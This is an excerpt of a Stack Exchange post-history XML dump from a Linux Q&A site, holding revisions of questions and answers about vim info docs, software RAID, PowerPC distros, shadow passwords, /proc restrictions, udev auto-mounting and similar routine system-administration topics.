  <row Id="19359" PostHistoryTypeId="5" PostId="7808" RevisionGUID="693f2b36-2d5c-4e89-9f87-677a2b510de9" CreationDate="2011-02-26T05:08:50.017" UserId="1535" Comment="added 1 characters in body" Text="I've discovered that the easiest way to view info docs in vim is to just open them.  They are just gzipped text with some binary codes added in as markup.  This is especially useful to know in cases where it's not practical to install an addon.&#xD;&#xA;&#xD;&#xA;The location of the info docs is distro-specific; under ubuntu, and presumably other debian-likes, they are at `/usr/share/info/*.info.gz`.  They are gzipped, but vim will handle the translation for you if you just open them.&#xD;&#xA;&#xD;&#xA;I actually prefer this manner of viewing them to using the `info` reader, as it presents the docs as one long file that you can quickly search or page through.  Having an addon would still be useful to facilitate following links and such.  I actually haven't tried using the `info` addon mentioned in the update; I haven't needed to look at an info file since then." />
  <row Id="19360" PostHistoryTypeId="5" PostId="5267" RevisionGUID="57e790ed-b65e-4501-9d01-afa2d5cf5f7e" CreationDate="2011-02-26T05:09:43.433" UserId="1535" Comment="made use of &quot;addon&quot; over &quot;plugin&quot; consistent." Text="I'm trying to use the [ManPageView](http://www.vim.org/scripts/script.php?script_id=489) addon to view info documentation within `vim`.&#xD;&#xA;&#xD;&#xA;Although I find ManPageView very useful for, well, viewing manpages, its info-reading functionality doesn't seem to work at all.  But then I almost never read info documentation, mostly because it doesn't seem worth taking the time to learn the `info` interface.  So I may be doing it wrong.&#xD;&#xA;&#xD;&#xA;Anyhow: running `:Man info.i` as suggested by the ManPageView documentation gives me&#xD;&#xA;&#xD;&#xA;    info: No menu item `(info)Top' in node `(dir)Top'.&#xD;&#xA;    info: No menu item `(info)Top' in node `(dir)Top'.&#xD;&#xA;    info: No menu item `(info)Top' in node `(dir)Top'.&#xD;&#xA;    ***warning*** sorry, no manpage exists for &lt;(info)Top&gt;&#xD;&#xA;&#xD;&#xA;I see some success if I delete the following lines, which start at line 345 in the file `autoload/manpageview.vim`:&#xD;&#xA;&#xD;&#xA;    &quot; special exception for info {{{3&#xD;&#xA;    if a:viamap == 0 &amp;&amp; ext == &quot;i&quot;&#xD;&#xA;     let s:manpageview_pfx_i = &quot;(&quot;.manpagetopic.&quot;)&quot;&#xD;&#xA;     let manpagetopic        = &quot;Top&quot;&#xD;&#xA;  &quot;   call Decho(&quot;top-level info: manpagetopic&lt;&quot;.manpagetopic.&quot;&gt;&quot;)&#xD;&#xA;    endif&#xD;&#xA;&#xD;&#xA;Deleting those lines will allow `:Man info.i` to work, but I still can't follow links in the displayed page.&#xD;&#xA;&#xD;&#xA;It works by calling `info` on the command line and capturing the output, so perhaps it's just that `info`'s CLI has changed?  Specifically, `$ info info Advanced` will bring up the topic &quot;Advanced&quot; within the &quot;info&quot; node.  I dug around in the addon's source code for a while but didn't find any obvious way to direct it to pass the node as an extra argument instead of doing what it seems to be supposed to do, which is to wrap the node name in parentheses and prefix it to the topic, passing the combination as a single command-line argument to `info`.&#xD;&#xA;&#xD;&#xA;I've not tried to use this addon to view info documentation before.  I'm running an updated ubuntu 10.10, using the vim-gnome package.&#xD;&#xA;&#xD;&#xA;I've filed some semblance of a bug report at what seems to be the [recommended location](http://vim.wikia.com/wiki/Script:489)&#xD;&#xA;&#xD;&#xA;Have others had success using this addon to view info documentation?  I feel like I'm lost in the mists that eternally shroud the outer reaches of Obscurity.&#xD;&#xA;&#xD;&#xA;**note**: Whilst composing this message, I've discovered the [info](http://www.vim.org/script.php?script_id=21) addon, which seems to work acceptably, at least at first glance." />
  <row Id="19361" PostHistoryTypeId="6" PostId="8233" RevisionGUID="9d467ec7-51e2-4c22-ba9e-18d42d06d80f" CreationDate="2011-02-26T05:11:17.370" UserId="250" Comment="edited tags" Text="égvimà" />
  <row Id="19362" PostHistoryTypeId="2" PostId="8235" RevisionGUID="64b32228-2451-4791-a5c8-2effd781e54f" CreationDate="2011-02-26T05:11:42.170" UserId="3852" Text="Assuming this is linux, this is doable and pretty easy actually. It is covered on the [software raid wiki][1] but the basic steps are:&#xD;&#xA;&#xD;&#xA;1. Fail and remove drive.&#xD;&#xA;2. Replace with a larger drive.&#xD;&#xA;3. Partition the drive so the partitions are the same size or larger than the ones in the existing software raid partition.&#xD;&#xA;4. Add the partitions to software RAID and wait for it to sync.&#xD;&#xA;5. Repeat above steps until all drives have been replaced.&#xD;&#xA;6. `mdadm --grow /dev/mdX --size=max` to resize the mdadm device.&#xD;&#xA;7. `resize2fs /dev/mdX` to resize the file system assuming you have ext3.&#xD;&#xA;&#xD;&#xA;You can grow the mdadm device and the file system while the server is live too. If your drives are hot swappable you can do everything without downtime.&#xD;&#xA;&#xD;&#xA;  [1]: https://raid.wiki.kernel.org/index.php/Growing#Expanding_existing_partitions" />
  <row Id="19363" PostHistoryTypeId="25" PostId="8234" RevisionGUID="5db38c05-c48c-4466-acd3-9f89db3bdd51" CreationDate="2011-02-26T05:23:25.710" Comment="http://twitter.com/#!/StackUnix/status/41367711791591424" />
  <row Id="19364" PostHistoryTypeId="2" PostId="8236" RevisionGUID="b8b04f09-baa1-48db-880c-f4da6a5fae91" CreationDate="2011-02-26T05:36:47.903" UserId="250" Text="For 256MB of RAM you have to look at lightweight distros, or use a minimum install and build up as you need. The PowerPC requirement may make it harder to find ready-made solutions, if you are fine with a little work there are many options.&#xD;&#xA;&#xD;&#xA; - Ubuntu has community support for PowerPC, but with that much memory you will have to use the [minimal ISO][1], then install LXDE or XFCE.&#xD;&#xA; - Arch Linux has a port call [PPC][2]. See the PowerPC [installation guide][3].&#xD;&#xA;&#xD;&#xA;Remember, Linux is all about choice so there are more distros that can be suitable for you. I'm recommending these two because I'm more familiar with them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/Installation/MinimalCD&#xD;&#xA;  [2]: http://www.archlinuxppc.org/&#xD;&#xA;  [3]: https://wiki.archlinux.org/index.php/Official_Install_Guide_on_a_PowerPC" />
  <row Id="19365" PostHistoryTypeId="5" PostId="8234" RevisionGUID="87910c18-cf06-4d7f-8ca1-a6ada712bdab" CreationDate="2011-02-26T05:38:04.617" UserId="73" Comment="deleted 100 characters in body" Text="I'm trying to set up my brother (who has a PPC Mac, with 1 ghz processor and 256 ram) with a Linux distro that would allow him to surf the web on the device. Support has faded for the new browsers, rendering the device essentially useless when it comes to the web. Ideally I would have installed jolicloud, but alas, it is only Intel Mac compatible. Which distros still continue support for PowerPC?" />
  <row Id="19366" PostHistoryTypeId="2" PostId="8237" RevisionGUID="b202f9f5-fa25-42bb-aed4-2a5cd696ae10" CreationDate="2011-02-26T05:48:21.280" UserId="3852" Text="I run Ubuntu 10.4 on an old 1.3 GHz PowerPC G4 iBook with 1 gig of RAM as a secondary laptop to mess around with. It runs OK with GNOME. You're going to be hurting with only 256 megs of RAM so if there's any way to upgrade, I'd suggest getting more RAM.&#xD;&#xA;&#xD;&#xA;[PenguinPPC][1] has a list of distros with PowerPC support. [Ubuntu][2] and  [Debian][3] are the ones I've used. [Arch Linux][4] and [Gentoo][5] support PowerPC but are compiled from source which you'll probably want to stay away from on an older machine like yours. [Yellowdog][6] is another one to consider, it is exclusively for PowerPC.&#xD;&#xA;&#xD;&#xA;  [1]: http://penguinppc.org/about/distributions.php &#xD;&#xA;  [2]: https://wiki.ubuntu.com/PowerPCDownloads&#xD;&#xA;  [3]: http://www.debian.org/ports/powerpc/&#xD;&#xA;  [4]: http://www.archlinuxppc.org/&#xD;&#xA;  [5]: http://www.gentoo.org/doc/en/handbook/handbook-ppc.xml&#xD;&#xA;  [6]: http://www.yellowdoglinux.com/products/ydl/&#xD;&#xA;&#xD;&#xA;I personally like Ubuntu since its a desktop oriented distro, has stable release points (I run the LTS version), and offers a variety of desktop environments which is useful for older machines like yours.&#xD;&#xA;" />
  <row Id="19367" PostHistoryTypeId="2" PostId="8238" RevisionGUID="41828e26-b448-4d9a-a57e-2309dfb192f1" CreationDate="2011-02-26T06:02:14.620" UserId="2421" Text="The whole point of the shadow password file is that `getpwnam` _doesn't_ return passwords from it.  You need to look at [`man 3 shadow`][1] and `getspnam` in particular.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/3/shadow" />
  <row Id="19368" PostHistoryTypeId="2" PostId="8239" RevisionGUID="4cbacdaa-2e68-418f-99e7-9c9831d3f992" CreationDate="2011-02-26T06:07:45.373" UserId="4896" Text="Is it possible to disable the `/proc` pseudo-filesystem to prevent `w`, `ps`, `top`, etc, from showing what other users are doing?  Of course, I still want &quot;everything else&quot; to work correctly.  Is there a workable way to do this?" />
  <row Id="19369" PostHistoryTypeId="1" PostId="8239" RevisionGUID="4cbacdaa-2e68-418f-99e7-9c9831d3f992" CreationDate="2011-02-26T06:07:45.373" UserId="4896" Text="How can I disable the /proc pseudo-filesystem on a shared Linx environment?" />
  <row Id="19370" PostHistoryTypeId="3" PostId="8239" RevisionGUID="4cbacdaa-2e68-418f-99e7-9c9831d3f992" CreationDate="2011-02-26T06:07:45.373" UserId="4896" Text="ékernelàétopàépsàéprocà" />
  <row Id="19371" PostHistoryTypeId="2" PostId="8240" RevisionGUID="5380ed63-681f-4543-934e-b7c9cd4ba3c4" CreationDate="2011-02-26T06:52:52.680" UserId="4970" Text="I think either `:pwd` or `getcwd()` is what you are looking for." />
  <row Id="19372" PostHistoryTypeId="5" PostId="8238" RevisionGUID="64a1d4cd-0094-4511-810a-add020f53971" CreationDate="2011-02-26T08:16:40.160" UserId="2421" Comment="link to getspnam" Text="The whole point of the shadow password file is that `getpwnam` _doesn't_ return passwords from it.  You need to look at [`man 3 shadow`][1] and [`getspnam`][2] in particular.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/3/shadow&#xD;&#xA;  [2]: http://www.kernel.org/doc/man-pages/online/pages/man3/getspnam.3.html" />
  <row Id="19373" PostHistoryTypeId="25" PostId="8229" RevisionGUID="267e605f-5dae-4dd5-a7a5-7fdcc2d11915" CreationDate="2011-02-26T08:23:25.313" Comment="http://twitter.com/#!/StackUnix/status/41413009217687552" />
  <row Id="19374" PostHistoryTypeId="2" PostId="8241" RevisionGUID="c44395df-c4d6-47e1-bc4e-c423b2b5b318" CreationDate="2011-02-26T09:10:43.180" UserId="5139" Text="I am in the process of installing the required libraries for FireFox 3.6 in the redhat linux nash 4.x system.&#xD;&#xA;     &#xD;&#xA;I already have successfully installed the glib2.12.0 library...but &#xD;&#xA;When i ./configure the atk 1.9.0 library i get the following error.&#xD;&#xA;&#xD;&#xA;    checking for pkg-config... /usr/bin/pkg-config&#xD;&#xA;    checking for GLIB - version &gt;= 2.5.7... no&#xD;&#xA;    *** Could not run GLIB test program, checking why...&#xD;&#xA;    *** The test program failed to compile or link. See the file config.log for the&#xD;&#xA;    *** exact error that occured. This usually means GLIB is incorrectly installed.&#xD;&#xA;    configure: error:&#xD;&#xA;    *** GLIB 2.5.7 or better is required. The latest version of&#xD;&#xA;    *** GLIB is always available from ftp://ftp.gtk.org/. If GLIB is installed&#xD;&#xA;    *** but not in the same location as pkg-config add the location of the file&#xD;&#xA;    *** glib-2.0.pc to the environment variable PKG_CONFIG_PATH.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can i add the path to the Environment variable ...? Deeply appreciate any help.&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="19375" PostHistoryTypeId="1" PostId="8241" RevisionGUID="c44395df-c4d6-47e1-bc4e-c423b2b5b318" CreationDate="2011-02-26T09:10:43.180" UserId="5139" Text="how to make PKG_CONFIG_PATH variable to refer an installed library?" />
  <row Id="19376" PostHistoryTypeId="3" PostId="8241" RevisionGUID="c44395df-c4d6-47e1-bc4e-c423b2b5b318" CreationDate="2011-02-26T09:10:43.180" UserId="5139" Text="élinuxàéinstallàéenvironmentövariablesà" />
  <row Id="19377" PostHistoryTypeId="2" PostId="8242" RevisionGUID="ac5291b3-d2e6-4cf7-be96-3fd29e9aaf82" CreationDate="2011-02-26T09:26:47.800" UserId="5107" Text="You didn't mention what platform you are on, but a Linux system from within the last 5 years (or more, probably) supports ACLs, in addition to the traditional Unix file system permissions. By using ACLs, you can add the 2nd group to the directory with write access:&#xD;&#xA;&#xD;&#xA;    $ setfacl -m group:2ndtomcatdeploy:rwx target_directory&#xD;&#xA;&#xD;&#xA;You can use `getfacl` to display the ACLs and `ls -l` will show a '+' at the end of the usual symbolic mode string." />
  <row Id="19378" PostHistoryTypeId="6" PostId="8232" RevisionGUID="13eff0f1-77f0-4bbf-8d26-755cb47963a8" CreationDate="2011-02-26T11:17:44.570" UserId="885" Comment="edited tags" Text="éusersàépasswordàéauthenticationà" />
  <row Id="19379" PostHistoryTypeId="25" PostId="8232" RevisionGUID="ddce99be-5a73-4003-ba33-fdc104ac93cb" CreationDate="2011-02-26T11:23:25.423" Comment="http://twitter.com/#!/StackUnix/status/41458307386445824" />
  <row Id="19380" PostHistoryTypeId="2" PostId="8243" RevisionGUID="057a69e2-723f-4314-b4ea-d1323621bfe2" CreationDate="2011-02-26T11:37:31.597" UserId="885" Text="If you disable `/proc`, a lot of things will stop working. Not only will you not be able to use `ps` and company, even to see your own processes, but a lot of tools and services will not be able to run. Looking at the computer I'm writing this on, processes that have a file under `/proc` open include `mdadm` (RAID), `Xorg` (GUI), `hald` (hotpluggable devices), `acpid` (ACPI), `rpc.mount` (NFS server).&#xD;&#xA;&#xD;&#xA;It might be workable to give `/proc` permissions 550 (i.e. non-world-readable), group `proc-readers`, and put all the services that use `/proc` but aren't running as root in the `proc-readers` group. I've never tried; this is an experiment proposal, not something to do on a production machine.&#xD;&#xA;&#xD;&#xA;Use [SELinux](http://unix.stackexchange.com/questions/1326/hide-processes-from-other-users-based-on-groups-under-linux) or [virtualization](http://en.wikipedia.org/wiki/Virtual_private_server) to further isolate users.&#xD;&#xA;" />
  <row Id="19381" PostHistoryTypeId="6" PostId="8239" RevisionGUID="df66d3a6-497b-4f1c-b4f1-f66aaa0c7b8a" CreationDate="2011-02-26T11:37:55.947" UserId="885" Comment="edited tags" Text="élinuxàésecurityàéprocessàéprocà" />
  <row Id="19382" PostHistoryTypeId="4" PostId="8239" RevisionGUID="ac39500e-0caa-4df9-a863-dfc177dee64a" CreationDate="2011-02-26T11:45:31.670" UserId="885" Comment="title" Text="How can I disable /proc pseudo-filesystem on a shared Linux environment?" />
  <row Id="19383" PostHistoryTypeId="6" PostId="8234" RevisionGUID="736f3b6b-9609-466f-bb77-9ee8006d7936" CreationDate="2011-02-26T11:45:51.107" UserId="885" Comment="edited tags" Text="élinuxàédistributionöchoiceàépowerpcà" />
  <row Id="19384" PostHistoryTypeId="6" PostId="185" RevisionGUID="006df644-9571-4d4f-b578-482bcb9f30b8" CreationDate="2011-02-26T11:46:49.093" UserId="885" Comment="edited tags" Text="élinuxàéraidàésoftwareöraidà" />
  <row Id="19385" PostHistoryTypeId="4" PostId="8229" RevisionGUID="90798bd5-1cc9-4cd6-bff0-2d28aee24103" CreationDate="2011-02-26T11:48:45.367" UserId="885" Comment="shortened title" Text="What methods are used to encrypt passwords in /etc/passwd and /etc/shadow?" />
  <row Id="19386" PostHistoryTypeId="2" PostId="8244" RevisionGUID="2dd3d4f9-1fcc-4023-82b3-12e91e3eda5d" CreationDate="2011-02-26T11:58:02.880" UserId="305" Text="There is [gsecurity][1] patchset (included in SELinux but without horribly complicated MAC permission system) for Linux kernel which offer the option allowing only owner (and root) to see his/her processes. It offer other goodies without being so intrusive as SELinux.&#xD;&#xA;&#xD;&#xA;Similar option is on Solaris, or so I heard.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://grsecurity.net/" />
  <row Id="19387" PostHistoryTypeId="2" PostId="8245" RevisionGUID="bb416627-f38f-4e4f-a1c2-f7a27dce0fb1" CreationDate="2011-02-26T12:01:50.943" UserId="885" Text="You could try an alternate approach, which is to recognize your device at the [udev](http://wiki.archlinux.org/index.php/Udev) level and use `/dev/mybook-partition` in `/etc/fstab`. Put something like the following in `/etc/udev/rules.d/dwilliams.rules`:&#xD;&#xA;&#xD;&#xA;    KERNEL==&quot;sd*&quot;, PROGRAM==&quot;/sbin/blkid %N&quot;, RESULT==&quot;C252-9CA3&quot;, SYMLINK+=&quot;mybook-partition&quot;&#xD;&#xA;&#xD;&#xA;The section on [Auto mounting USB devices in the Arch wiki for udev](https://wiki.archlinux.org/index.php/Udev#Auto_mounting_USB_devices) might help you further.&#xD;&#xA;" />
  <row Id="19388" PostHistoryTypeId="2" PostId="8246" RevisionGUID="334eff56-c48c-4829-8816-7403c38c1978" CreationDate="2011-02-26T12:25:04.537" UserId="305" Text="1. If you can install from repository. Check twice if you don't have it.&#xD;&#xA;2. If you cannot try bundled tarball from firefox page.&#xD;&#xA;3. Instead of installing all dependencies by hand try installing them from repository. For sure GLib is in debian repo. You need -dev/-devel or similar named packages&#xD;&#xA;4. For this particular problem - you installed the packages in the something called prefix. You can set this by `./configure --prefix=PREFIX` and the default is `/usr/local`. Hence you need to add `PREFIX/lib/pkgconfig` to PKG_CONFIG_DIR. The exact method varies from shell to shell but the simplest option (for time of single session) is command `export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig:$PKG_CONFIG_PATH`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-----------------------&#xD;&#xA;&#xD;&#xA;As last piece of advice -DON'T install from source. It is much more complicated that it look like and you will run into problems. Look at the number of tools you have in Gentoo operating system (`revdep-rebuild`, `lafilefixer` etc.) to handle it. You will be on your own and firefox/xulrunner using some parts in non-standard way will give helpful errors as `XPCOM cannot start` in case of SONAME mismatch. &#xD;&#xA;&#xD;&#xA;You will have problems with uninstalling them as well and it may left garbage in system. Usually uninstall scripts are not well-tested and even build one are written carelessly.  " />
  <row Id="19389" PostHistoryTypeId="2" PostId="8247" RevisionGUID="660fa635-d32e-4ca6-a34e-0e257c22d195" CreationDate="2011-02-26T12:36:53.543" UserId="305" Text="That is not possible due to 2 reasons:&#xD;&#xA;&#xD;&#xA; - The shadow file is one method of authentication in modern system. Some of them does not involve real password at all - what should return if user is authenticated by fingerprint? Why should it break any application?&#xD;&#xA; - Giving the hashed string for non-root application would enable off-line attacks.&#xD;&#xA;&#xD;&#xA;It is system-specific file anyway with no so much complicated structure so if you need it you can write your own parser." />
  <row Id="19390" PostHistoryTypeId="5" PostId="8236" RevisionGUID="237aaf7c-26e2-4a18-bef1-e5ff3ba34812" CreationDate="2011-02-26T12:53:45.743" UserId="250" Comment="added 4 characters in body" Text="For 256MB of RAM you have to look at lightweight distros, or use a minimum install and build up as you need. The PowerPC requirement may make it harder to find ready-made solutions, but if you are fine with a little work there are many options.&#xD;&#xA;&#xD;&#xA; - Ubuntu has community support for PowerPC, but with that much memory you will have to use the [minimal ISO][1], then install LXDE or XFCE.&#xD;&#xA; - Arch Linux has a port call [PPC][2]. See the PowerPC [installation guide][3].&#xD;&#xA;&#xD;&#xA;Remember, Linux is all about choice so there are more distros that can be suitable for you. I'm recommending these two because I'm more familiar with them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/Installation/MinimalCD&#xD;&#xA;  [2]: http://www.archlinuxppc.org/&#xD;&#xA;  [3]: https://wiki.archlinux.org/index.php/Official_Install_Guide_on_a_PowerPC" />
  <row Id="19391" PostHistoryTypeId="2" PostId="8248" RevisionGUID="9ecbc583-b3f4-4f89-829f-99795d21608e" CreationDate="2011-02-26T13:32:25.727" UserId="305" Text="After installing ntfs-3g I have an option in nautilus to mount a Windows directory but I need to give root password. While I have no objection to giving root password I would prefer to be restricted to permission of corresponding Windows user (i.e. disallowing modification of system files). Is is easily achievable or do I need to post feature request?" />
  <row Id="19392" PostHistoryTypeId="1" PostId="8248" RevisionGUID="9ecbc583-b3f4-4f89-829f-99795d21608e" CreationDate="2011-02-26T13:32:25.727" UserId="305" Text="Allowing user to read only parts of NTFS filesystem" />
  <row Id="19393" PostHistoryTypeId="3" PostId="8248" RevisionGUID="9ecbc583-b3f4-4f89-829f-99795d21608e" CreationDate="2011-02-26T13:32:25.727" UserId="305" Text="égnomeàéfilesystemsàéwindowsàéntfsàéntfsö3gà" />
  <row Id="19394" PostHistoryTypeId="2" PostId="8249" RevisionGUID="1a155076-1d26-4204-a9b0-85231e3039d2" CreationDate="2011-02-26T13:40:21.740" UserId="250" Text="Recently I start to get &quot;No protocol specified&quot; when using `sudo vim`. It's just a warning I guess, because everything was working normally (I can open, edit and save files). The message doesn't appear if I use `sudo -E vim` so I think I did something wrong when editing `/etc/profile` recently, but I'm not sure. How can I fix this?" />
  <row Id="19395" PostHistoryTypeId="1" PostId="8249" RevisionGUID="1a155076-1d26-4204-a9b0-85231e3039d2" CreationDate="2011-02-26T13:40:21.740" UserId="250" Text="&quot;No protocol specified&quot; when running vim with sudo" />
  <row Id="19396" PostHistoryTypeId="3" PostId="8249" RevisionGUID="1a155076-1d26-4204-a9b0-85231e3039d2" CreationDate="2011-02-26T13:40:21.740" UserId="250" Text="évimàésudoàéenvironmentövariablesà" />
  <row Id="19397" PostHistoryTypeId="25" PostId="8248" RevisionGUID="a7af4380-78e2-4d9d-adab-5ffe2f3f894f" CreationDate="2011-02-26T14:23:25.553" Comment="http://twitter.com/#!/StackUnix/status/41503606637076480" />
  <row Id="19398" PostHistoryTypeId="2" PostId="8250" RevisionGUID="252f0753-38e2-439f-bce4-85d11244234c" CreationDate="2011-02-26T14:55:52.783" UserId="3635" Text="According to [this thread][1], there are two possible solutions to your problem:&#xD;&#xA;&#xD;&#xA;&gt;Put the following line in my root users `.bashrc` script&#xD;&#xA;&gt;&#xD;&#xA;    export XAUTHORITY=/home/&lt;user&gt;/.Xauthority&#xD;&#xA;&gt;&#xD;&#xA;&gt;then I copied .Xauthority to root also, i.e.&#xD;&#xA;&gt;&#xD;&#xA;    sudo cp ~/.Xauthority /root&#xD;&#xA;&gt;&#xD;&#xA;&gt;and now the warning is gone.&#xD;&#xA;&#xD;&#xA;You could also try running via `gksudo`.&#xD;&#xA;&#xD;&#xA;Anyway, both are worth a try...&#xD;&#xA;&#xD;&#xA;  [1]: https://bbs.archlinux.org/viewtopic.php?id=103808" />
  <row Id="19400" PostHistoryTypeId="2" PostId="8252" RevisionGUID="046bf02c-01b4-45d5-a157-acc8dddcdaee" CreationDate="2011-02-26T15:07:47.597" UserId="-1" Text="" />
  <row Id="19401" PostHistoryTypeId="2" PostId="8253" RevisionGUID="963d301f-35d3-4ff9-944b-e28cca8d0655" CreationDate="2011-02-26T15:07:47.597" UserId="-1" Text="" />
  <row Id="19402" PostHistoryTypeId="2" PostId="8254" RevisionGUID="b4e6267b-2975-4f81-b624-d5c1aa8d5282" CreationDate="2011-02-26T15:08:22.290" UserId="-1" Text="" />
  <row Id="19403" PostHistoryTypeId="2" PostId="8255" RevisionGUID="da0fadd7-fde3-464e-91ad-f49547deb23c" CreationDate="2011-02-26T15:08:22.290" UserId="-1" Text="" />
  <row Id="19404" PostHistoryTypeId="5" PostId="8253" RevisionGUID="6413c21b-81e6-4d9c-9ea0-745e774f76ec" CreationDate="2011-02-26T15:28:49.777" UserId="3635" Comment="added 73 characters in body" Text="NTFS (New Technology File System) is the standard file system of Windows." />
  <row Id="19405" PostHistoryTypeId="24" PostId="8253" RevisionGUID="6413c21b-81e6-4d9c-9ea0-745e774f76ec" CreationDate="2011-02-26T15:28:49.777" Comment="Proposed by 3635 approved by 885 edit id of 159" />
  <row Id="19406" PostHistoryTypeId="5" PostId="8255" RevisionGUID="7d5bf9d5-760a-4534-aa9f-d2ef79e7fc2a" CreationDate="2011-02-26T15:28:52.660" UserId="3635" Comment="added 122 characters in body" Text="NTFS-3G is an open source cross-platform implementation of the Microsoft Windows NTFS file system with read-write support." />
  <row Id="19407" PostHistoryTypeId="24" PostId="8255" RevisionGUID="7d5bf9d5-760a-4534-aa9f-d2ef79e7fc2a" CreationDate="2011-02-26T15:28:52.660" Comment="Proposed by 3635 approved by 885 edit id of 160" />
  <row Id="19408" PostHistoryTypeId="2" PostId="8256" RevisionGUID="431df05b-83ec-4d09-868c-41602dc727af" CreationDate="2011-02-26T17:12:51.880" UserId="5149" Text="I need to do :&#xD;&#xA;when plug my external storage, automatically my system mount it as encrypted device,&#xD;&#xA;if doesn't, where can be developed package until do it   " />
  <row Id="19409" PostHistoryTypeId="1" PostId="8256" RevisionGUID="431df05b-83ec-4d09-868c-41602dc727af" CreationDate="2011-02-26T17:12:51.880" UserId="5149" Text="HOW ENFORCE SYSTEM TO AUTOMATECALLY MOUNT ENCRYPTED DEVICE IN LINUX" />
  <row Id="19410" PostHistoryTypeId="3" PostId="8256" RevisionGUID="431df05b-83ec-4d09-868c-41602dc727af" CreationDate="2011-02-26T17:12:51.880" UserId="5149" Text="élinuxà" />
  <row Id="19411" PostHistoryTypeId="2" PostId="8257" RevisionGUID="435ef506-9eb5-4e11-8946-ae40e5c645da" CreationDate="2011-02-26T17:14:57.333" UserId="3633" Text="Disclaimer: I did not try this, so it may or may not work; I don't have an NTFS volume around.&#xD;&#xA;&#xD;&#xA;Mount the whole FS with permissions that prevent target users from reading it.&#xD;&#xA;&#xD;&#xA;Mount a directory of the resulting tree at an accessible mount point with `mount --bind` and subsequent `mount --o remount` with different `uid` and `umaks` that allow target users to read it." />
  <row Id="19412" PostHistoryTypeId="5" PostId="8256" RevisionGUID="afedd4e4-e3cd-465a-b421-984bddc6e8f0" CreationDate="2011-02-26T17:23:16.280" UserId="591" Comment="Fixed shouting in title and tidied up question" Text="When I plug my external storage in , I need to  automatically mount it as an encrypted device.&#xD;&#xA;&#xD;&#xA;How do I make this happen ?   " />
  <row Id="19413" PostHistoryTypeId="4" PostId="8256" RevisionGUID="afedd4e4-e3cd-465a-b421-984bddc6e8f0" CreationDate="2011-02-26T17:23:16.280" UserId="591" Comment="Fixed shouting in title and tidied up question" Text="How to make system  automatically  mount encrypted device in  Linux" />
  <row Id="19414" PostHistoryTypeId="24" PostId="8256" RevisionGUID="afedd4e4-e3cd-465a-b421-984bddc6e8f0" CreationDate="2011-02-26T17:23:16.280" Comment="Proposed by 591 approved by 1207 edit id of 161" />
  <row Id="19415" PostHistoryTypeId="25" PostId="8256" RevisionGUID="db5af300-1aa7-406a-b959-71e0e9061654" CreationDate="2011-02-26T17:23:25.813" Comment="http://twitter.com/#!/StackUnix/status/41548905799876608" />
  <row Id="19416" PostHistoryTypeId="2" PostId="8258" RevisionGUID="0fedae15-9f6e-4655-bb3d-31be8aaac135" CreationDate="2011-02-26T17:50:15.613" UserId="5151" Text="I'm using Astrill on my DD-WRT router. This was so easy to setup and Astrill has VPN servers in more than 25 countries. This is their demo video &quot;How to setup OpenVPN on DD-WRT&quot; - https://www.astrill.com/public/DDWRT-Setup2.mp4 I think you can ask them for a free trial to make sure it works OK on your hardware.&#xD;&#xA;&#xD;&#xA;But if you have Witopia account already, it's better to contact their support and they should help you.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19417" PostHistoryTypeId="2" PostId="8259" RevisionGUID="ddc15587-1b34-4232-bfab-336fc711cecb" CreationDate="2011-02-26T18:07:13.507" UserId="3389" Text="The issue with that is, for the system to automatically mount the encrypted device, the key for that device must be stored on the same system somewhere.  So, if your system is stolen, the key could be compromised.  If this is okay for you, then read on.&#xD;&#xA;&#xD;&#xA;`udev` is the plug-and-play manager of Linux; anytime hardware is (dis)connected, it goes through `udev` and `udev` is responsible for putting it in the `/dev` directory somewhere or doing whatever needs to be done to make it recognized by the rest of Linux.   By digging into the depths of how `udev` works, you'll find it's possible to run a script when a USB mass storage device is connected.&#xD;&#xA;&#xD;&#xA;Basically you'll need to go to /etc/udev/rules.d.  All files here are parsed by `udev` when it (re)starts, and these files can be used to fire off scripts when certain devices are connected.  Don't change anything you see here, but I added a `z60_usbmount.rules` with the following contents:&#xD;&#xA;&#xD;&#xA;`KERNEL==&quot;sd*&quot;, BUS==&quot;usb&quot;, ACTION==&quot;add&quot;,    RUN+=&quot;/etc/local/usbmountcheck udev add $kernel $parent&quot;`&#xD;&#xA;&#xD;&#xA;`KERNEL==&quot;sd*&quot;,             ACTION==&quot;remove&quot;, RUN+=&quot;/etc/local/usbmountcheck udev remove $kernel $parent&quot;`&#xD;&#xA;&#xD;&#xA;Thus when any external drive is attached via usb, that usbmountcheck script will run, with all the information `udev` gives up about the device.&#xD;&#xA;&#xD;&#xA;The `usbmountcheck` script is a bit complicated, because you want to uniquely identify the drive, and the `sda`, `sdb`, etc. name, the `$kernel` name, won't do that.  Here's the bit of logic I included in my script to do that:&#xD;&#xA;&#xD;&#xA;    ACTION=$2&#xD;&#xA;    KVOL=$3&#xD;&#xA;    KVROOT=$4&#xD;&#xA;    # correlate volume name in /dev/disk/by-id with $KVOL, if we can&#xD;&#xA;    VNAME=&quot;`/bin/ls -l /dev/disk/by-id | /bin/grep $KVOL | /usr/bin/tr -s [[:space:]] ' ' | /usr/bin/cut -f 9 -d ' '`&quot;&#xD;&#xA;    if [ &quot;$?&quot; != 0 ]; then&#xD;&#xA;     die &quot;error in pipeline that tries to get volume name, return code $?&quot;&#xD;&#xA;     fi&#xD;&#xA;&#xD;&#xA;At this point `$VNAME` will have the device name as identified by USB.  You can then test if it's a known encrypted volume, and script the appropriate commands to mount it.  You'll also have to script an umount handler to automatically cleanup after a disconnect.&#xD;&#xA;&#xD;&#xA;There's a lot of dangers in writing udev scripts because if they fail it could prevent udev from working and recognizing further hardware changes.  Tread with caution." />
  <row Id="19418" PostHistoryTypeId="6" PostId="8256" RevisionGUID="882ce603-63a6-4e62-9203-d2c7eadbcaef" CreationDate="2011-02-26T18:33:33.083" UserId="885" Comment="edited tags" Text="élinuxàémountàéencryptionà" />
